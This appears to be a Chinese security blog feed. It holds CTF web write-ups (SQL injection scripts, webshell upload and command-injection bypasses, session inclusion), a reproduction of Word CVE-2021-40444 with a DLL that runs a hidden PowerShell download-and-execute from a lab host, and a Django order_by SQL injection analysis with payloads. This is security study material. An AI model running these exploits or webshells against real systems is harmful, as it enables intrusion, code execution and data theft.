啊这。。。好家伙,不够长的。。。那就还是一个个输出,先用Intruder批量注册。然后用下面的脚本查看。

#coding:utf-8

import requests
import re

headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://www.bmzclub.cn:22937/changepwd.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cookie': 'Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1631932461,1632274696,1632620435; session=5424329c-1b2e-4349-b4e1-0d2f55c408c5; PHPSESSID=1h1clgvbkvn31qbng29c0m8mr6; Hm_lpvt_d7a3b863d5a302676afbe86b11339abd=1632637433; td_cookie=468906102'
}

for i in range(1, 21):
data = 'username=1"%26%26(updatexml(1,concat(0x7e,(select%0breal_flag_1s_here%0bfrom%0busers%0blimit%0b{id},1),0x7e),1))#&password=111'.format(id=str(i))
r = requests.post('http://www.bmzclub.cn:22937/login.php', headers=headers, data=data)

r = requests.post('http://www.bmzclub.cn:22937/changepwd.php', headers=headers, data="oldpass=111&newpass=111")
print(re.findall('XPATH syntax error: (.*)', r.text))

结果全是xxx,啊这,给孩子整不会了。这难道就是0 Solver的原因?

TCTF2019_Wallbreaker_Easy

提示如下

image-20210927105315721

蚁剑连接页面,这个是需要绕过disable_functions,phpinfo里紧了一堆函数

image-20210927105350495

既然是7.2的PHP,那就蚁剑php7-backtrace-bypass一把嗖。

image-20210927105430695

insomniteaser_2019_l33t_hoster

此问题并没有正确解出,本来使用大小写后缀外加图片马来绕过限制,但是发现并不会当作php执行。所以此处使用WP复现

首先是代码

$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);


if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}

$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);

if (empty($parts[0])) {
array_shift($parts);
}

if (count($parts) === 0) {
die("lol filename is empty");
}

if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}

$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}

if (!exif_imagetype($tmp_name)) {
die("not an image.");
}

$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

黑名单限制文件后缀,本来看到in_array中带了true,还以为是大小写绕过。实际是使用htaccess文件来定义文件解析类型。

上传.htaccess文件。此处由于会对文件名做处理,所以需要使用..htaccess文件来绕过执行,使得能正确保存文件。

$parts = explode(".", $name);    #Array([0] =>  [1] =>  [2] => htaccess)
$ext = array_pop($parts); #htaccess

if (empty($parts[0])) { #true
array_shift($parts); #返回删除的'',还剩$parts[1] => ''
}

if (count($parts) === 0) { #false count=1
die("lol filename is empty");
}
.....
$name = implode(".", $parts); #返回空,所以后续拼接的时候就是$userdir . "." . $ext

剩下的就是图片大小的问题,WP采用的图片格式为XBM格式,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。

前两个#defines指定位图的高度和宽度(以像素为单位),比如以下xbm文件:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

后续就是绕过<?这种过滤,WP解释由于使用PHP7.2,所以<script>指定语言的方式不能使用,这个没看出来PHP的版本。采用UTF-16大端编码格式,用一张图表示,utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符。

所以利用如下脚本生成

#!/usr/bin/python3

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()

generate_htacess()

generate_php_file("webshell.php16", "<?php system($_GET['cmd']);?>")
generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir']));?>")

由于设置了diable,所以不能执行命令,如果需要考虑绕过的形式,可以利用蚁剑来直接执行。或者利用文件读取的shell。直接读取flag。

2018网鼎杯Comment

打开页面是一个留言板,留言会显示需要登陆,已经给了一个账号,zhangwei,但是密码不对,既然给了一个账号那就爆破一下密码,发现常规密码都不对,再次看密码格式三个星号可能代表需要爆破这三位?

设置数字爆破到密码为zhangwei666。

发帖后发现可以查看详情并且再去留言,可能是二次注入?使用一个异常的发帖后,再去给这个帖子提交留言,发现不能显示,可能是有问题。

试了一圈发现不太行,可能是需要组合利用,那还需要源代码查看。扫描一下目录。

发现一堆git泄露,好家伙在这等我呢。

找到一个write_do.php文件。

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

字段都是直接拼接,但是使用了addslashes转义字段。查找一下绕过的方式

1:字符编码问题导致绕过
1.1、设置数据库字符为gbk导致宽字节注入
1.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入

2:编码解码导致的绕过
2.1、url解码导致绕过addslashes
2.2、base64解码导致绕过addslashes
2.3、json编码导致绕过addslashes

3:一些特殊情况导致的绕过
3.1、没有使用引号保护字符串,直接无视addslashes
3.2、使用了stripslashes
3.3、字符替换导致的绕过addslashes

不过这个地方既没有编解码的函数也没有字符编码的设置,还使用了单引号闭合。理论上按照闭合那一套是不能注入的。但是现在有个问题是

$category = mysql_fetch_array($result)['category'];

如上获取数据的时候,没有使用转义函数,后续直接进行的拼接。addslashes函数转义保存到数据库的时候,反引号是不保存到数据库的,也就是\'保存到数据库就变成了单引号。

也就是需要我们在发帖的时候保存category字段一个注入的代码,在留言评论的时候来触发他。

先来构造一下SQL语句,既然是insert注入,那就用盲注,构造如下语句。

insert into comment
set category = '111' and if((substr((select user()),1,1)='r'),sleep(5),0),#',
content = '$content',
bo_id = '$bo_id'

先来发个帖子,咱来评论留言,发现SQL被执行。

image-20211009172411010

既然user是r开头的,那估计也就是root@localhost了,查库表。本来写个脚本执行,但是发现总是请求过多,响应超时。

搞了半天总是报错,就看看能不能报错回显出来,本地测试一个报错回显的语句,这样写能成功,但是需要出单引号,上面的语句只能闭合不能出去。

insert into users
set id = 55,
username = updatexml(1,concat(0x7e,(version())),0),
password = '11111';

这是个多行的SQL语句,可以使用多行注释来拼接,然后再写一个参数进去,类似如下:

insert into comment
set category = '111',/*',
content = '*/ content=updatexml(1,concat(0x7e,(version())),0),#',
bo_id = '$bo_id'

试了半天也没结果,然后才想起来这报错不会被写进去,直接报错去了。。。

既然能写进去,那就直接执行,不需要报错语句,测试以下语句。

insert into comment
set category = '111',/*',
content = '*/ content=version(),#',
bo_id = '$bo_id'

回显如下

image-20211015145908789

想了一圈子发现还是最简单的方式能直接使用。查库名为ctf。如下查询表的时候注意要括号包裹不然会报错。

insert into comment
set category = '111',/*',
content = '*/ content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),#',
bo_id = '$bo_id'

image-20211015152847893

查询字段名,主要表名要十六进制形式,查询user表。

content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x75736572),#&bo_id=1

image-20211015163102290

查字段信息,就一个zhangwei。

content=*/+content=(select+group_concat(username)+from+ctf.user),#&bo_id=1

换一个表查,board表。hex值为0x626f617264。字段有:id,category,title,content

content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x626f617264),#&bo_id=1

这几个字段查了一遍还是没有信息,表comment也没有信息,这就有意思了。不在数据库里,SQL还能干啥,毕竟是root权限,试试能不能写文件。

试了一番发现并不能愉快的写文件,或者目录是特定目录。文件不给写试试能不能读。

content=*/+content=(SELECT+LOAD_FILE(0x2f6574632f706173737764)),#&bo_id=2

image-20211015173416010

好家伙 又是一个花式文件读取。直接读取根目录下的flag文件

content=11*/+content=(SELECT+LOAD_FILE(0x2f666c6167)),#&bo_id=3

image-20211018101945665

asis_2019_unicorn_shop

访问首页是一个购买网页,需要购买独角兽。但是我们没有钱,明显买不了。随便输入一个数

image-20211018104332545

发现需要一个Unicode的编码参数,而且用了unicodedata.numeric来处理输入的值。意思是将Unicode转为等效的数值,那么可能就是Unicode编码转换中绕过数值购买判断。

其中最贵的是1337,那么需要找到一个转换后大于等于1337的Unicode码。

选择如下的符号:https://www.compart.com/en/unicode/U+10123

image-20211018114617271

不过这个flag应该是有问题的,并不能验证成功。

buuctf_2018_online_tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

打开首页,又是一段代码,其中涉及两个函数escapeshellarg和escapeshellcmd,这是个防止命令执行的函数,区别在于

escapeshellarg:转义其中的单引号,并用单引号来包裹字符串。保证输入为一个字符串。

escapeshellcmd:转义可能导致命令执行的特殊符号,常见的特殊符号包括换行符都被会转义,单双引号在不配对的时候也被转义。保证输入为避免利用shell的特性执行其他命令。

本身正常情况下,都能起到防止命令注入,但是如果在一起使用,就会导致异常转义,因为escapeshellcmd也转义反斜线。

127.0.0.1' id
escapeshellarg: '127.0.0.1'\'' id'
escapeshellcmd: 127.0.0.1\' id

在一起使用就会变成

escapeshellarg+escapeshellcmd: '127.0.0.1'\\'' id\'

简化上面的输入就是,第一个单引号已经被转义,后面的单引号也是,所以此处只当作字符来处理。

127.0.0.1\ id'

但以上的命令并不能被执行,问题在于利用shell特性的分割连接符等都被转义了。以上解决的只是把一个字符串的输入分割成了携带参数形式的输入。

后面需要利用nmap,既然是能分割成携带参数选项的输入,那需要配合nmap的参数来执行。记得在nmap的一个低版本存在一个提权问题,不过由于是交互界面。也不能使用shell的命令符号,需要查找一个nmap能执行使用的参数。

首页代码中使用IP创建一个sandbox的目录,按照惯性,应该是为了写文件而准备的,所以应该是利用nmap的输出属性来执行。nmap输出参数有-oN/-oX/-oS/-oG/-oA

首先需要调试一个能正常逃逸出单引号的payload,可以在https://tool.lu/coderunner测试,首先需要逃逸出双引号的两端包裹,先在两端添加两个单引号,输出为:

''\\''\<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php'\\'''
简化为:\<?php @eval($_POST[123]);?> -o index.php\\

再需要分割开两端的反斜线,两端添加两个空格。

' <?php @eval($_POST[123]);?> -o index.php '
输出为:''\\'' \<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php '\\'''

于是大概能用的payload就出来了,先测试一下哪个参数可以使用,一个个试一下,发现oG可以使用。

image-20211018151828426

最后剑来,在根目录下发现一个flag

image-20211018151945869

哎嘿,这个flag又报错,看来0Solves的多少有点问题。

Bestphp

首页又是一段PHP

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>

由于存在call_user_func,所以我们可以覆盖file参数,来达到包含我们想要的文件,如果直接读取flag的话,下面的内容就有点多余,所以这里大概需要读取function和admin文件来查看。不能直接包含,不然PHP代码看不到。

/?function=extract&file=php://filter/convert.base64-encode/resource=./function.php

function内容为如下,看起来是个黑名单过滤。

<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>

admin文件为

<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
Pz4

看起来没有直接利用的函数,但是这个创建了session,也就是有session文件的写入,我们需要去读取session文件来包含。

session的name在首页的POST中传输,再去访问admin文件,这里只判断参数是不是空。

/?function=extract&file=php://filter/convert.base64-encode/resource=/tmp/sess_k8ud00tfqs2mevh289uukn5to5

加载发现,并没有回显,也许不在这个目录,在/var/lib下。

但是这里有一个问题,由于open_basedir的存在,我们不能加载别的目录下的文件,只能加载当前目录和tmp目录。

session_start函数有一个参数为save_path,可以设置保存路径,注意此处随便写入一个session的文件名,不然在POST获取的时候,就已经创建null。

POST /?function=session_start&save_path=/tmp HTTP/1.1
Host: www.bmzclub.cn:22937
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

name=<?php phpinfo();?>

获取session

/?function=extract&file=/tmp/sess_123

image-20211018172443260

写入一个shell

name=<?php system($_GET["aaa"]);?>

image-20211018172740231

]]>
<h2 id="端午就该吃粽子"><a href="#端午就该吃粽子" class="headerlink" title="端午就该吃粽子"></a>端午就该吃粽子</h2><p>访问login.php,会给一个这样的链接<a href="http://www.bmzclub.c
Office Word CVE-2021-40444 https://misakikata.github.io/2021/09/Office-Word-CVE-2021-40444/ 2021-09-15T08:55:33.000Z 2021-09-15T08:55:33.000Z CVE-2021-40444

Office Word的一个1day,首先来复现一下使用,如果直接运行会显示CAB file建立时出错,需要先安装lacb。这里使用Tools老哥的一个方法,直接安装:

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gztar zxvf lcab_1.0b12.orig.tar.gzcd lcab-1.0b12./configuremakesudo make installwhich lcab

使用项目地址:https://github.com/lockedbyte/CVE-2021-40444

利用文档中给出的方法执行:

python3 exploit.py generate test/calc.dll http://192.168.111.130:5555

image-20210915103820898

然后监听

python3 exploit.py host 5555

image-20210915103914999

把在out文件夹下生成的document.docx拷贝到Windows下,此处的office2019,16.0.13929版本。运行docx文件,可以看到交互过程

image-20210915104537994

于是就可以弹出计算器
image-20210915104258300

从请求上看,有一个word.html文件,在srv目录下。打开查看,OK 看不懂。。。看样子是做了混淆?不过任然可以依稀看到ActiveXObject,这个大概跟利用ActiveX控件有关。

image-20210915105543173

可以来美化一下,虽然依旧看不懂就是。不过从中间大概可以看到几个关键点,XMLHttpRequest发起的请求,地址为http://192.168.111.130:5555/word.cab。所以这个cab文件才是真正执行的文件?

利用7z打开这个cab文件,文件标头为4D 53 43 46,虽然这个文件只有224K,但是里面有一个名为msword.inf的文件,大小为1G左右。这不太对。这个文件也在上面的js中提到过,所以大概是需要解压出来,想办法提取一下这个文件。

image-20210915112956403

该文件是Windows的压缩格式,一般是作为安装包文件。利用Kali下的cabextract来解压。没有的话直接安装就行。

cabextract --list word.cab

执行报错,这个文件不能正常解压提取,说明不是一个正经的cab文件。看一下python的处理代码

image-20210915120544407

可以发现其实msword.inf就是word.dll。这个dll文件就是一开始传入的calc.dll重命名来的。后面用lcab来生成cab文件,然后用函数patch_cab来处理这个cab文件。这么我们先把这个处理前生成的cab文件保存一下。

execute_cmd('lcab out.cab out2.cab')

获取到out2.cab,这个文件可以正常解压查看,所以我们先尝试是否能自己生成一个cab文件,利用dll来转换。

用cobaltstrike生成一个DLL文件,按照转换方式来处理一下。先改个名字,此处用的beacon作为名字,那么word.html中也要做相应的修改。或者把名字改为msword。

image-20210915141049112

然后需要patch一下,原项目中存在patch脚本,修改为类似如下:

#!/usr/bin/env python3​# Patch cab file​m_off = 0x2df = open('./beacon.cab','rb')cab_data = f.read()f.close()​out_cab_data = cab_data[:m_off]out_cab_data += b'\x00\x5c\x41\x00'out_cab_data += cab_data[m_off+4:]​out_cab_data = out_cab_data.replace(b'..\\beacon.inf', b'../beacon.inf')​f = open('./beacon2.cab','wb')f.write(out_cab_data)f.close()

但是在执行过程中并没有上线,不确定原因,可能是DLL的问题?CS生成的DLL不能直接拿来用?

使用C代码编译生成一个DLL,利用如下代码,编译执行即可。

#include <windows.h>​void exec(void) {system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.111.130:80/a'))\"");return;}​BOOL WINAPI DllMain(   HINSTANCE hinstDLL,   DWORD fdwReason,   LPVOID lpReserved ){   switch( fdwReason )  {       case DLL_PROCESS_ATTACH:          exec();          break;​       case DLL_THREAD_ATTACH:           break;​       case DLL_THREAD_DETACH:           break;​       case DLL_PROCESS_DETACH:           break;  }   return TRUE;}

编译

apt-get install gcc-mingw-w64i686-w64-mingw32-gcc -shared beacon.c -o beacon.dll

把文件放到test目录下,执行上面的命令。

image-20210915161830711

减轻影响

这个是利用ActiveX控件来执行的,而这个控件只有IE支持,到IE的选项-安全中,自定义安全级别,在运行ActiveX控件和插件选项中选择禁用。

参考地址:

https://github.com/lockedbyte/CVE-2021-40444

https://www.t00ls.cc/thread-62682-1-1.html

https://mp.weixin.qq.com/s/hjjLKQCiaVUKWOw1jzQE9A

]]>
<h3 id="CVE-2021-40444"><a href="#CVE-2021-40444" class="headerlink" title="CVE-2021-40444"></a>CVE-2021-40444</h3><p>Office Word的一个1day,首先来
CVE-2021-35042 Django SQL注入 https://misakikata.github.io/2021/08/CVE-2021-35042-Django-SQL注入/ 2021-08-06T08:16:55.000Z 2021-08-06T08:19:06.000Z CVE-2021-35042 Django SQL注入

该漏洞是由于对QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SQL注入攻击,最终造成服务器敏感信息泄露。

先本地创建一个Django环境,使用的版本为Django 3.1.10。具体的示例代码就使用:https://github.com/YouGina/CVE-2021-35042

Order_by参数获取

其中获取GET参数值的是request.GET.get('order_by', 'name')这么一段,从order_by 中获取值,缺省为name。这个name的意思是数据库的字段。在models.py文件中有定义,也就是其实获取的是需要去查询的数据库字段名。

class User(models.Model):    name = models.CharField(max_length=200)​    def __str__(self):        return self.name

order_by这个参数的作用的排序,对一个列或者多个值进行升序或者降序的排列。比如:

SELECT * FROM Websites ORDER BY alexa DESC;

上面这个SQL的意思就是,按照按照Alexa的顺序降序排列,DESC为降序,ASC为升序。

此问题按照官方的说法是:绕过标记为弃用的路径中的预期列引用验证。

流程分析

在这里我们先输入一个不存在的字段名name4,查看一下是怎样一个流程。首先进入如下函数,判断order_by 的排序顺序和表达式。

def add_ordering(self, *ordering):        """        Add items from the 'ordering' sequence to the query's "order by"        clause. These items are either field names (not column names) --        possibly with a direction prefix ('-' or '?') -- or OrderBy        expressions.​        If 'ordering' is empty, clear all ordering from the query.        """        errors = []        for item in ordering:            if isinstance(item, str):                if '.' in item:                    warnings.warn(                        'Passing column raw column aliases to order_by() is '                        'deprecated. Wrap %r in a RawSQL expression before '                        'passing it to order_by().' % item,                        category=RemovedInDjango40Warning,                        stacklevel=3,                    )                    continue                if item == '?':                    continue                if item.startswith('-'):                    item = item[1:]                if item in self.annotations:                    continue                if self.extra and item in self.extra:                    continue                # names_to_path() validates the lookup. A descriptive                # FieldError will be raise if it's not.                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)            elif not hasattr(item, 'resolve_expression'):                errors.append(item)            if getattr(item, 'contains_aggregate', False):                raise FieldError(                    'Using an aggregate in order_by() without also including '                    'it in annotate() is not allowed: %s' % item                )        if errors:            raise FieldError('Invalid order_by arguments: %s' % errors)        if ordering:            self.order_by += ordering        else:            self.default_ordering = False

函数走到names_to_path的时候会根据传入的参数生成一个PathInfo 元组。返回最终的字段和没有找到的字段。其中opts代表模型选项,这里代表的这个表。然后去获取传入的字段值。当最后找不到这个字段的时候,会报一个Cannot resolve keyword '%s' into field的错误,也就是我们最后会看到的错误。

def names_to_path(self, names, opts, allow_many=True, fail_on_missing=False):        path, names_with_path = [], []        for pos, name in enumerate(names):            cur_names_with_path = (name, [])            if name == 'pk':                name = opts.pk.name​            field = None            filtered_relation = None            try:                field = opts.get_field(name)            except FieldDoesNotExist:                if name in self.annotation_select:                    field = self.annotation_select[name].output_field                elif name in self._filtered_relations and pos == 0:                    filtered_relation = self._filtered_relations[name]                    field = opts.get_field(filtered_relation.relation_name)            if field is not None:                # Fields that contain one-to-many relations with a generic                # model (like a GenericForeignKey) cannot generate reverse                # relations and therefore cannot be used for reverse querying.                if field.is_relation and not field.related_model:                    raise FieldError(                        "Field %r does not generate an automatic reverse "                        "relation and therefore cannot be used for reverse "                        "querying. If it is a GenericForeignKey, consider "                        "adding a GenericRelation." % name                    )                try:                    model = field.model._meta.concrete_model                except AttributeError:                    # QuerySet.annotate() may introduce fields that aren't                    # attached to a model.                    model = None            else:                # We didn't find the current field, so move position back                # one step.                pos -= 1                if pos == -1 or fail_on_missing:                    available = sorted([                        *get_field_names_from_opts(opts),                        *self.annotation_select,                        *self._filtered_relations,                    ])                    raise FieldError("Cannot resolve keyword '%s' into field. "                                     "Choices are: %s" % (name, ", ".join(available)))                break

get_field函数的意思是返回一个字段名称的字段实例。对应的表内字段名和字段实例的字典类型。其中_forward_fields_mapfields_map的作用是相同的,就是后者还会检查一些内部的其他字段。

def get_field(self, field_name):        """        Return a field instance given the name of a forward or reverse field.        """        try:            # In order to avoid premature loading of the relation tree            # (expensive) we prefer checking if the field is a forward field.            return self._forward_fields_map[field_name]        except KeyError:            # If the app registry is not ready, reverse fields are            # unavailable, therefore we throw a FieldDoesNotExist exception.            if not self.apps.models_ready:                raise FieldDoesNotExist(                    "%s has no field named '%s'. The app cache isn't ready yet, "                    "so if this is an auto-created related field, it won't "                    "be available yet." % (self.object_name, field_name)                )​        try:            # Retrieve field instance by name from cached or just-computed            # field map.            return self.fields_map[field_name]        except KeyError:            raise FieldDoesNotExist("%s has no field named '%s'" % (self.object_name, field_name))

最后都不存在的情况下会告知,User has no field named name4

当然如果是存在的字段,比如name,程序从get_field获取到的field就是cve_orderby.User.name。也就是不管传入的参数是否正常,只要走了names_to_path最后都会返回不存在字段或者存在的字段实例对象,而不是拼接SQL去执行,那么至少在这里就不能造成SQL注入了。整个执行的代码都为:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user"

在查了一堆资料发现这个问题其实是绕过names_to_path这个判断,在函数add_ordering中,主要有五个判断:

  1. 字段中是否带点,带的话提示传入的是原始列的别名,并警告不建议这么使用。
  2. 字段是否为问号。
  3. 字段开头是否为短横杠。
  4. 判断是否在一个map字典里,暂时也不知道是干啥的。
  5. 判断是否有额外的参数信息。

所以,此处我们传一个带点的参数,比如name.name。到add_ordering中的时候,走到这个函数上,由于存在continue的作用,将跳过后续的判断,也就是不在进行names_to_path,无法获取字段的实例对象。

image-20210806144834728

后续进入_fetch_all的时候就已经生成SQL:SELECT "cve_orderby_user"."id", "cve_orderby_user"."name" FROM "cve_orderby_user" ORDER BY ("name".name) ASC。也就是把参数name.name拼接进去。

于是构造一条语句,注意这里使用的是MySQL数据库。构造:SELECT cve_orderby_user.id, cve_orderby_user.name FROM cve_orderby_user ORDER BY (cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#) ASC

只需要传输参数:cve_orderby_user.name);select updatexml(1,concat(0x7e,(select @@version)),1);#
image-20210806155634807

]]>
<h2 id="CVE-2021-35042-Django-SQL注入"><a href="#CVE-2021-35042-Django-SQL注入" class="headerlink" title="CVE-2021-35042 Django SQL注入"></a>CVE-2